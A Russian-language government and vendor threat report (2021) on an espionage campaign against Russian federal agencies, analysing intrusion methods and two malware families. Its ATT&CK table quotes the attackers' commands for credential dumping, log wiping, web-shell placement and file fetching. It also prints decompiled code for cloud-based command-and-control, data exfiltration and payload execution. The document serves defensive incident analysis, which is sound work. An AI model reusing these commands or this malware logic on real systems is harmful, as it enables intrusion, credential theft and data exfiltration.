НКЦКИ

НАЦИОНАЛЬНЫЙ КООРДИНАЦИОННЫЙ
ЦЕНТР ПО КОМПЬЮТЕРНЫМ ИНЦИДЕНТАМ

Веб-сайт: cert.gov.ru
E-mail: threats@cert.gov.ru

Ростелеком Солар

ЦЕНТР ПРОТИВОДЕЙСТВИЯ
КИБЕРАТАКАМ SOLAR JSOC

Веб-сайт: rt-solar.ru
E-mail: solar@rt-solar.ru

Отчет об исследовании серии кибератак на органы государственной власти Российской Федерации

Данные открытой части исследования, разрешенные для публичного распространения

2021 г.

Оглавление

Введение

Отчет сформирован на основе анализа серии целенаправленных атак профессиональной кибергруппировки на федеральные органы исполнительной власти (ФОИВ) Российской Федерации. Данные атаки были выявлены в 2020 году специалистами центра противодействия кибератакам Solar JSOC компании «Ростелеком-Солар» совместно с Национальным координационным центром по компьютерным инцидентам (НКЦКИ).

Оценивая злоумышленников по уровню подготовки и квалификации (используемые технологии и механизмы, скорость и качество проделанной ими работы), мы склонны отнести данную группировку к кибернаемникам, преследующим интересы иностранного государства.

Цели и методы рассматриваемой серии кибератак

Во всех выявленных операциях главными целями злоумышленников были:

- полная компрометация ИТ-инфраструктуры;
- кража конфиденциальной информации (почтовых переписок, файлов общего и ограниченного доступа, инфраструктурных и логических схем и т.д.).

Для проникновения в инфраструктуры ФОИВ злоумышленники использовали три основных вектора атак:

- фишинг;
- эксплуатацию уязвимостей веб-приложений, опубликованных в сети интернет;
- взлом инфраструктуры подрядных организаций (Trusted Relationship).

В качестве тем для **фишинговых рассылок** злоумышленники всегда использовали актуальные новости – как внутренние, связанные с непосредственной деятельностью конкретного ФОИВ, так и общемировые – например, касающиеся эпидемии Covid-19. Единственное, что объединяло эти письма, было наличие вложенного офисного документа со специальным макросом: при открытии такого файла происходил запуск вредоносного ПО и заражение хоста.

Эксплуатация **уязвимостей веб-приложений**, как правило, заканчивалась загрузкой веб-шеллов (вредоносных скриптов, позволяющих управлять сайтами и серверами), через которые в дальнейшем и происходило развитие атак.

Параллельно с реализацией фишинга и эксплуатацией уязвимостей веб-приложений злоумышленники искали пути осуществления **атак через подрядные организации**. Для этого они собирали открытые данные о компаниях, которые работают с тем или иным ФОИВ. В качестве источников такой информации могли выступать тендерные площадки, публичные данные для госзакупок, публикуемые пресс-релизы и т. д. Следующим шагом был взлом инфраструктур поставщиков услуг, через которых злоумышленники получали возможность вполне легитимно заходить в нужные инфраструктуры ФОИВ. Сотрудники подрядных организаций, как правило, имеют достаточно высокие привилегии и прямой доступ в инфраструктуру своего заказчика, а значит, их компрометация позволяет создать резервный канал управления.

Техники атак в классификации MITRE ATT&CK:

ID техники	Наименование	Пример
T1566	Фишинг	Офисные документы с макросами
T1190	Эксплуатация уязвимостей общедоступных приложений	Множественная эксплуатация уязвимостей в PHP и Tomcat. Эксплуатация уязвимостей в Exchange Server (CVE-2020-0688)
T1199	Взлом подрядных организаций	Получение доступа из инфраструктуры подрядных организаций с использованием учетных записей их сотрудников

После проникновения в периметр злоумышленники осуществляли сбор информации как об устройстве сети, так и о ключевых сервисах. Стремясь захватить максимальный контроль над инфраструктурой, они атаковали рабочие станции ИТ-администраторов с высоким уровнем привилегий и системы управления инфраструктурой. При этом группировка обеспечивала себе достаточно высокую степень скрытности за счет использования легитимных системных утилит, недетектируемого вредоносного ПО и понимания специфики работы средств защиты информации, установленных на рабочих станциях и серверах в ФОИВ.

После полной компрометации инфраструктуры злоумышленники приступали к сбору конфиденциальной информации со всех интересующих их источников: с почтовых серверов, серверов электронного документооборота, файловых серверов и рабочих станций руководителей различного уровня.

Технические особенности атак

На основе анализа удалось выделить две ключевые технические особенности, характерные для данной кибергруппировки:

1) Разработанное злоумышленниками вредоносное ПО для выгрузки собираемых данных использовало облачные хранилища российских компаний «Яндекс» и Mail.ru Group, а в своей сетевой активности маскировалось под легитимные утилиты Яндекс.Диск и Disk-O производства этих компаний.
2) На стадии подготовки к атакам на ФОИВ злоумышленники хорошо усвоили особенности функционирования и аспекты административной работы с антивирусом производства «Лаборатории Касперского». В рамках развития атаки они проводили незаметное отключение антивирусного ПО, а также использовали его легитимные компоненты для сбора дополнительной информации об атакуемой инфраструктуре (настроенная политика, информация от агента администрирования).

После проникновения в локальную сеть злоумышленники традиционно выполняли мероприятия, направленные на полную компрометацию инфраструктуры. Ниже представлен полный перечень уникальных тактик (пересечения по ID удалены) вне функционала ВПО:

Тактика	ID техники	Наименование	Пример
Execution	T1059.001	Использование Powershell	PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgACoATgBvAFAAcgBvAGYAa QBsAGUAIAAtAE4AbwBuAEkAbgBoAGUAcgBhAGMAdABp...
	T1059.003	Использование Windows Command Shell	cmd.exe /c c:\windows\cluster\r.ab a c:\windows\cluster\ds.png c:\windows\cluster\33.log c:\windows\cluster\dd.log cmd.exe /c c:\windows\cluster\w.exe
	T1053.005	Использование планировщика задач	cmd.exe schtasks /create /s . . . . /u ..\.. /p 12345 /tn adobe /tr "powershell -exec bypass -file c:\programdata\epl.ps1" /ru system /sc onstart /f
	T1047	Использование WMI	cmd.exe /c wmic /node:. . . . /user:...\... /password:... process call create "c:\windows\system\3.bat"
Persistence	T1197	Использование Bits-задач	cmd.exe /c bitsadmin /rawreturn /transfer down http://.....exe
	T1505.003	Использование Web Shell	cmd.exe /c copy owafont_min.aspx "\\....\c$\program Files\Microsoft\Exchange Server\v15\FrontEnd\HttpProxy\owa\auth\current\themes\resources"
	T1078	Использование валидных учетных записей	Злоумышленники использовали как локальные, так и доменные учетные данные для различных аутентификаций на хостах и серверах
Privilege Escalation	T1546.003	Использование технологии подписки на события WMI	
Defense Evasion	T1562.002	Отключение Windows Event Logging	wevtutil sl Security /lfn:"%SystemRoot%\System32\winevt\TraceFormat\cache2.tmp" net stop eventlog /Y del /f /q c:\windows\System32\winevt\logs\Security.evtx net start eventlog wevtutil cl Security wevtutil sl Security /lfn:"%SystemRoot%\System32\winevt\logs\Security.evtx"
	T1036.003	Переименованные утилиты	C:\users\public\p.exe -accepteula -s ping 8.8.8.8 – Psexec c:\windows\cluster\clussvcs.exe e lsa.rar -hp Test123!@# c:\windows\cluster\ - Winrar
	T1218.010	Использование rundll32.exe	rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624
Credential Access	T1212	Использование уязвимостей	Использование Zerologon (CVE-2020-1472) https://github.com/picussecurity/picuslabs/tree/master/CVE-2020-1472%20Zerologon
	T1003.001	Дамп памяти LSASS	c:\windows\system32\darvin.exe privilege::debug token::elevate sekurlsa::logonpasswords exit – Mimikatz
	T1003.003	Дамп NTDS	ntdsutil "ac i ntds" "ifm" "create full c:\users\public\tmp" q q
	T1558.001	Использование Golden Ticket	c:\windows\system32\darvin.exe kerberos::golden /user:... /domain:.. /sid:..... /krbgt: .... /ticket /ptt – Mimikatz

	T1003.002	Дамп SAM	cmd /c **reg save** HKLM\SYSTEM c:\windows\system\SYSBACKUP.hiv && **reg save** HKLM\SAM c:\windows\system\SAMback.hiv
Discovery	T1007	Проверка системных служб	cmd /c **tasklist** /svc >> c:\windows\system\dd.log
	T1049	Проверка сетевых подключений	cmd.exe /c **netstat** -anotp tcp >> c:\windows\1.txt
	T1087.001	Проверка локальных учетных записей	cmd.exe /c **net localgroup** Администраторы >> c:\windows\1.txt"
	T1518.001	Сбор информации о программном обеспечении	cmd.exe /c \"c:\program files (x86)\Kaspersky Lab\NetworkAgent**klnagchk.exe**\" -logfile c:\windows\temp\1.txt -sp
Lateral Movement	T1021	Использование удаленных сервисов	Злоумышленники использовали **mstsc.exe** и **SMB** shares
Collection	T1560.001	Архивирование собранных данных	C:\Windows\TEMP**Rar.exe** a -r -m5 -inul -hp123456 -ta20200101 C:\windows\temp\vbe\98141.dll \\.....\c$\users***.doc*** \\....c$\users***.xsl*** \\....\c$\users***.pdf**\\...\c$\users***.ppt*** cmd.exe /c c:\windows\cluster**rea.exe** a -hpHello202005 c:\windows\cluster\ls.png c:\windows\cluster***.pst**
	T1114.001	Сбор электронной почты с локального хоста	
	T1005	Сбор данных с локального хоста	
	T1039	Сбор данных по сети	
Exfiltration	T1090.001	Использование прокси-сервера внутри инфраструктуры	cmd.exe /c **netsh** interface portproxy add v4tov4 listenaddress=.... listenport=36666 connectaddress=... connectport=110 > c:\windows\temp\1.txt" Использование сторонних утилит

Вредоносное программное обеспечение

В данном разделе представлено выявленное вредоносное ПО, которое ранее нигде не описывалось. Указанные здесь названия были придуманы для упрощения коммуникаций в ходе расследования по кибератаке.

Mail-O

Mail-O – это программа-загрузчик, обращающаяся к Облаку Mail.ru, ассоциированному с вшитой в семпл учетной записью. Все общение происходит с использованием API Облака Mail.ru, подробности всех методов хорошо описаны по ссылке: https://github.com/pozitronik/CloudMailRu/issues/27.

Вредоносное ПО реализовано в виде DLL-библиотеки, связанной статически с библиотеками OpenSSL и libcurl, через которые реализован механизм общения. Отсюда и достаточно большой размер – 2,8 МБ. Программа Mail-O имеет функцию «Режим сна», что позволяет ей быть неактивной в заданный промежуток времени.

При старте DLL осуществляет проверку на наличие установленного на хосте приложения DISK-O производства Mail.ru Group. Если приложение установлено, то из реестра достаются параметры InstallVer и installationID для формирования идентификационной строки (User agent), специфичной для легитимного DISK-O: CloudDiskWIndows %InstallVer% %installationID%.

```
if ( !RegEnumKeyExA(hKey, 0, Name, &cchName, 0i64, 0i64, 0i64, 0i64) )
{
  while ( 1 )
  {
    v3 = (char *)&v15 + 95;
    do
      v4 = *++v3 == 0;
    while ( !v4 );
    strcpy(v3, "\\Software\\Mail.Ru\\Mail.Ru_Disko");
    if ( !RegOpenKeyExA(hKey, Name, 0, 0x20019u, &phkResult) )
      break;
    RegCloseKey(phkResult);
    ++v2;
    cchName = 256;
    if ( RegEnumKeyExA(hKey, v2, Name, &cchName, 0i64, 0i64, 0i64, 0i64) )
      goto LABEL_31;
  }
  cbData = 1000;
  Type = 1;
  RegQueryValueExA(phkResult, "InstallVer", 0i64, &Type, Data, &cbData);
  if ( cbData )
```

```
Block[1] = (void *)-2i64;
CheckRegistryInfo();
sub_7FEEE4FFEE0();
sprintf(User_Agent, "CloudDiskOWindows %s beta %s", &InstallVer, InstallID);
sscanf(a27, "%d", &v5);
LODWORD(v5) = 60000 * v5;
v0 = time64(0i64);
srand(v0);
v1 = 1000 * (rand() % 9);
v2 = rand();
sprintf(Dest, "%d", (unsigned int)(v1 + v2 % 1000 + 1000));
sub_7FEEE4FBB30((__int64)v7, v3, User_Agent);
if ( strnicmp(String1, "0.0.0.0:0", 9ui64) )
{
  curl_easy_setopt(v8, 10004, String1);
  if ( !strnicmp(aProxy1proxy, "proxy_-1", 8ui64) )
    curl_easy_setopt(v8, 101, 0i64);
  if ( strnicmp(aProxy000proxy, "proxy_000", 9ui64) )
  {
    sprintf(Proxy_Param, "%s:%s", aProxy000proxy, aProxy111proxy);
    curl_easy_setopt(v8, 10006, Proxy_Param);
  }
```

Рис. 1. Формирование специфичного User agent

При активной работе модуль Mail-O отправляет в облако Heartbeat-сообщение, которое содержит общий размер, имя хоста и строку test/test.dat. Файл кладется в созданную директорию, имя которой зависит от месяца и года работы. Помимо вышеперечисленного, имя файла также зависит от временных параметров, а содержимое шифруется AES-CBC, где в качестве ключа используется SHA-256 от строки логина и пароля. Например, для 11 марта 2021 г. в облаке создалась бы директория 202103, в которую модуль отправил бы файл с именем rand_0311113819.dat

```
GetLocalTime(&SystemTime);
sprintf(Buffer, "%2d%02d", SystemTime.wYear, SystemTime.wMonth);
CreateDirectoryOnMailServ((__int64)a1, Buffer);
v9 = SystemTime.wSecond;
v8 = SystemTime.wMinute;
v7 = SystemTime.wHour;
v6 = SystemTime.wDay;
v5 = SystemTime.wMonth;
sprintf(Dest, "%s/%s_%02d%02d%02d%02d%02d.dat", Buffer, ::Dest, v5, v6, v7, v8, v9);
memset(name, 0, sizeof(name));
gethostname(name, 256);
v2 = -1i64;
v3 = -1i64;
do
  ++v3;
while ( name[v3] );
if ( !v3 )
  sprintf(name, "[none]");
sprintf(v15, "%s\r\n%s", name, aTestTestDat);
do
  ++v2;
while ( v15[v2] );
v4 = Decryption_AES(Block, v15, v2);
SendHeartBeatFile((__int64)a1, (__int64)Dest, Block[0], v4);
```

Рис. 2. Отправка Heartbeat

После этого модуль проверяет наличие в облаке файла test/test.dat. Если есть, то он загружается в память и расшифровывается (так же, как и Heartbeat). Результаты сохраняются в файловой системе в папке TEMP в виде исполняемого файла, и создается процесс:

```
strcpy(v27, "xsplit_");
v34 = 0;
v35 = 0;
v28 = time64(0i64);
srand(v28);
v33 = rand() % 26 + 97;
LOBYTE(v34) = rand() % 26 + 97;
v29 = &v45;
do
  ++v29;
while ( *v29 );
strcpy(v29, &v33);
v30 = &v45;
do
  ++v30;
while ( *v30 );
strcpy(v30, ".exe");
v31 = CreateFileA(Buffer, 0x40000000u, 7u, 0i64, 2u, 0x80u, 0i64);
v32 = v31;
if ( v31 == (HANDLE)-1i64 )
{
  j__free_base((void *)lpBuffer);
}
else
{
  WriteFile(v31, lpBuffer, v24, &NumberOfBytesWritten, 0i64);
  CloseHandle(v32);
  j__free_base((void *)lpBuffer);
  if ( NumberOfBytesWritten == v24 )
  {
    memset(&StartupInfo, 0, sizeof(StartupInfo));
    StartupInfo.cb = 104;
    StartupInfo.dwFlags = 1;
    StartupInfo.wShowWindow = 0;
    CreateProcessA(0i64, Buffer, 0i64, 0i64, 0, 0x8000000u, 0i64, 0i64, &StartupInfo, &ProcessInformation);
42:
```

Рис. 3. Запуск расшифрованного файла

Интересно, что разработчики модуля задали фазу его активной работы с 9:00 до 16:00 часов с учетной временной зоны. В данный промежуток времени модуль будет отправлять Heartbeat и запрашивать файл test/test.dat с интервалом в 27 минут. В период с 16.00 до 9.00 модуль «спит» после вызова функции sleep.

```
__int64 __fastcall SleepFunction(DWORD a1)
{
  __int64 result; // rax
  DWORD v3; // ecx
  int v4; // [rsp+20h] [rbp-28h] BYREF
  int v5; // [rsp+24h] [rbp-24h] BYREF
  struct _SYSTEMTIME SystemTime; // [rsp+28h] [rbp-20h] BYREF

  sscanf(a9, "%d", &v4);
  sscanf(a16, "%d", &v5);
  Sleep(a1);
  GetLocalTime(&SystemTime);
  result = SystemTime.wHour;
  if ( SystemTime.wHour < v4 )
    goto LABEL_4;
  if ( SystemTime.wHour <= v5 )
    return result;
  if ( SystemTime.wHour >= v4 )
    v3 = 3600000 * (SystemTime.wHour - v4 + 24);
  else
LABEL_4:
    v3 = 3600000 * (v4 - SystemTime.wHour);     // 1 час
  return SleepFunction(v3);
}
```

Рис. 4. Функция sleep

Webdav-O

Webdav-O – это еще одно ранее никем не описанное вредоносное ПО. Подобно Mail-O, оно осуществляет взаимодействие с сервером управления через облако Яндекс.Диск.

Строки зашифрованы алгоритмом RC4.

```
00007FFC33EF3600  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007FFC33EF3610  00 00 00 00 00 00 77 65  62 64 61 76 2E 79 61 6E  ......webdav.yan
00007FFC33EF3620  64 65 78 2E 72 75 00 00  00 00 00 00 00 00 00 00  dex.ru..........
00007FFC33EF3630  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007FFC33EF3640  00 00 00 00 00 00 00 00  00 41 75 74 68 6F 72 69  .........Authori
00007FFC33EF3650  7A 61 74 69 6F 6E 3A 20  4F 41 75 74 68 20 25 73  zation:·OAuth·%s
00007FFC33EF3660  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007FFC33EF3670  00 00 00 00 00 00 00 00  00 00 00 00 41 63 63 65  ............Acce
00007FFC33EF3680  70 74 3A 20 2A 2F 2A 0D  0A 41 75 74 68 6F 72 69  pt:·*/*..Authori
00007FFC33EF3690  7A 61 74 69 6F 6E 3A 20  4F 41 75 74 68 20 25 73  zation:·OAuth·%s
00007FFC33EF36A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 41  ...............A
00007FFC33EF36B0  63 63 65 70 74 3A 20 2A  2F 2A 0D 0A 44 65 70 74  ccept:·*/*..Dept
00007FFC33EF36C0  68 3A 20 31 0D 0A 41 75  74 68 6F 72 69 7A 61 74  h:·1..Authorizat
00007FFC33EF36D0  69 6F 6E 3A 20 4F 41 75  74 68 20 25 73 00 00 00  ion:·OAuth·%s...
00007FFC33EF36E0  00 00 3C 64 3A 68 72 65  66 3E 00 00 00 00 00 00  ..<d:href>......
00007FFC33EF36F0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007FFC33EF3700  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007FFC33EF3710  00 00 00 00 00 3C 2F 64  3A 68 72 65 66 3E 00 00  .....</d:href>..
00007FFC33EF3720  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007FFC33EF3730  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
```

Рис. 5. Расшифрованные строки

Поддерживаются два способа аутентификации: basic (с логином и паролем) и oauth (с использованием токена).

Команды и результаты работы этих команд передаются путем загрузки на Яндекс.Диск различных файлов:

- test2.txt, test3.txt. – эти файлы используются для проверки соединения;
- test4.txt. – содержит данные о количестве минут между обращениями на сервер за командами;
- test5.txt. – содержит дату, до которой ВПО будет «спать»;
- test7.txt. – загружается на сервер и содержит сессионный 16-байтный RC4-ключ, который используется для шифрования команд и результатов их работы (сам ключ тоже зашифрован публичным RSA-ключом).
- test. – папка, содержащая отдельные файлы, которые скачиваются, расшифровываются и обрабатываются как команды. Список файлов ВПО получает путем PROPFIND-запроса и парсинга необходимых тегов: <d:href>полный путь к файлу</d:href>.

```
30  v6 = WinHttpOpenRequest(hInternet, L"PROPFIND", v5, 0i64, 0i64, 0i64, 0x800000u);
31  if ( !v6 )
32    return 0i64;
33  sprintf(&v18, aAcceptDepth1Au, oauth_token);  // Accept: */*
34                                                // Depth: 1
35                                                // Authorization: OAuth %s
36  v8 = ascii_to_unicode(&v18);
37  WinHttpAddRequestHeaders(v6, v8, 0xFFFFFFFF, 0xA0000000);
38  if ( !WinHttpSendRequest(v6, 0i64, 0, 0i64, 0, 0, 0i64) || !WinHttpReceiveResponse(v6, 0i64) )
39    return 0i64;
40  do
41  {
42    memset(Buffer, 0, sizeof(Buffer));
43    WinHttpReadData(v6, Buffer, 0x400u, dwNumberOfBytesRead);
44    v9 = dwNumberOfBytesRead[0];
45    memmove(&Str + v4, Buffer, dwNumberOfBytesRead[0]);
46    v4 += v9;
47  }
48  while ( v9 );
49  memset(&d_hrefs, 0, 0x32C8ui64);
50  *files_count = 0;
51  for ( pos = strstr(&Str, aDHref); pos; pos = strstr(v14, aDHref) )// <d:href>
52  {
53    tag_len = -1i64;
54    do
55      ++tag_len;
56    while ( aDHref[tag_len] );
57    v12 = &pos[tag_len];
58    v13 = strstr(v12, aDHref_0);                // </d:href>
```

Рис. 6. Получение списка файлов-команд в папке test

Список используемых команд:

- -upload – загрузка файла на Яндекс.Диск
- -download – скачивание файла с Яндекс.Диска
- -setsleep – изменение частоты обращения на сервер управления за командами
- -sleepuntil – назначение времени, до которого вирус «спит»
- -quit – завершение работы
- выполнение команды cmd.exe – конкретный идентификатор команды в коде не указан (выполняется в случае, если код команды не равен ни одному из предыдущих)

Результаты работы команд отправляются на Яндекс.Диск с именами /test2/%04d%04d.bin, где вместо %04d подставляются два случайных числа. Сами файлы зашифрованы сессионным RC4-ключом.

Некоторые команды имеют определенный формат ответа:

- ##u## %s %s (-upload)
- ##d## %s (-download)
- ##s## %d (-setsleep)
- ##l## %s (-sleepuntil)

```
219   v28 = strtok_s((char *)command_data + 12, " ", &Context);
220   v29 = v28;
221   if ( v28 )
222   {
223     sleep_until_date = parse_date(v28);
224     if ( sleep_until_date >= 0 )
225     {
226       sprintf((char *const)&pbData, aLS, v29);  // ##l## %s
227       v30 = get_random();
228       v31 = get_random();
229       sprintf(&filename, aTest204d04dBin, v31, v30);// /test2/%04d%04d.bin
230       do
231         ++v3;
232       while ( *(&pbData + v3) );
233 LABEL_14:
234       rc4_crypt_decrypt((__int64)&pbData, v3, (__int64)rc4_key);
235 LABEL_59:
236       send_data_or_file_to_server(&pbData, v3, (__int64)&filename, 0);
237       return 1i64;
238     }
239     sleep_until_date = 0;
240   }
241   return 1i64;
```

Рис. 7. Обработка команды -sleepuntil

Выводы

Рассматриваемая серия кибератак беспрецедентна как с точки зрения отдельных ее аспектов, так и по сочетанию факторов, а именно:

- уровня угрозы (федеральное значение);
- уровня киберпреступников (самый продвинутый, 5-ый уровень согласно модели уровней злоумышленников Solar JSOC – кибернаемники, преследующие интересы иностранного государства);
- целей кибератак (полная компрометация инфраструктуры и кража конфиденциальных государственных данных);
- используемого инструментария (часть разработанного ВПО ранее нигде не встречалась);
- уровня скрытности (за счет использования недетектируемого ВПО, легитимных утилит и понимания внутренней логики работы применяемых в органах власти средств защиты информации);
- сочетания сразу нескольких векторов атак для создания дублирующих каналов управления (фишинг, эксплуатация веб-уязвимостей, атака через подрядчиков);
- тщательности подготовки (индивидуальная проработка фишинга с учетом деятельности ФОИВ и отдельных его структур, разработка специализированного ВПО, исследование деятельности и инфраструктур подрядчиков и др.);
- применения при атаке на российские инфраструктуры российских же внешних ресурсов (облака «Яндекс» и Mail.ru Group);
- невозможности выявления данных кибератак стандартными средствами детектирования SOC и необходимости тщательного «ручного» расследования силами лучших экспертов Solar JSOC и НКЦКИ.

НКЦКИ

Национальный координационный центр по компьютерным инцидентам (НКЦКИ) обеспечивает координацию деятельности субъектов критической информационной инфраструктуры (КИИ) Российской Федерации по вопросам обнаружения, предупреждения и ликвидации последствий компьютерных атак и реагирования на компьютерные инциденты.

cert.gov.ru

threats@cert.gov.ru

Ростелеком Солар

«Ростелеком-Солар» — компания группы ПАО «Ростелеком». Национальный провайдер сервисов и технологий для защиты информационных активов, целевого мониторинга и управления информационной безопасностью. В основе наших технологий лежит понимание, что настоящая информационная безопасность возможна только при непрерывном мониторинге и удобном управлении системами ИБ. Этот принцип реализован в наших продуктах и сервисах.

rt-solar.ru

solar@rt-solar.ru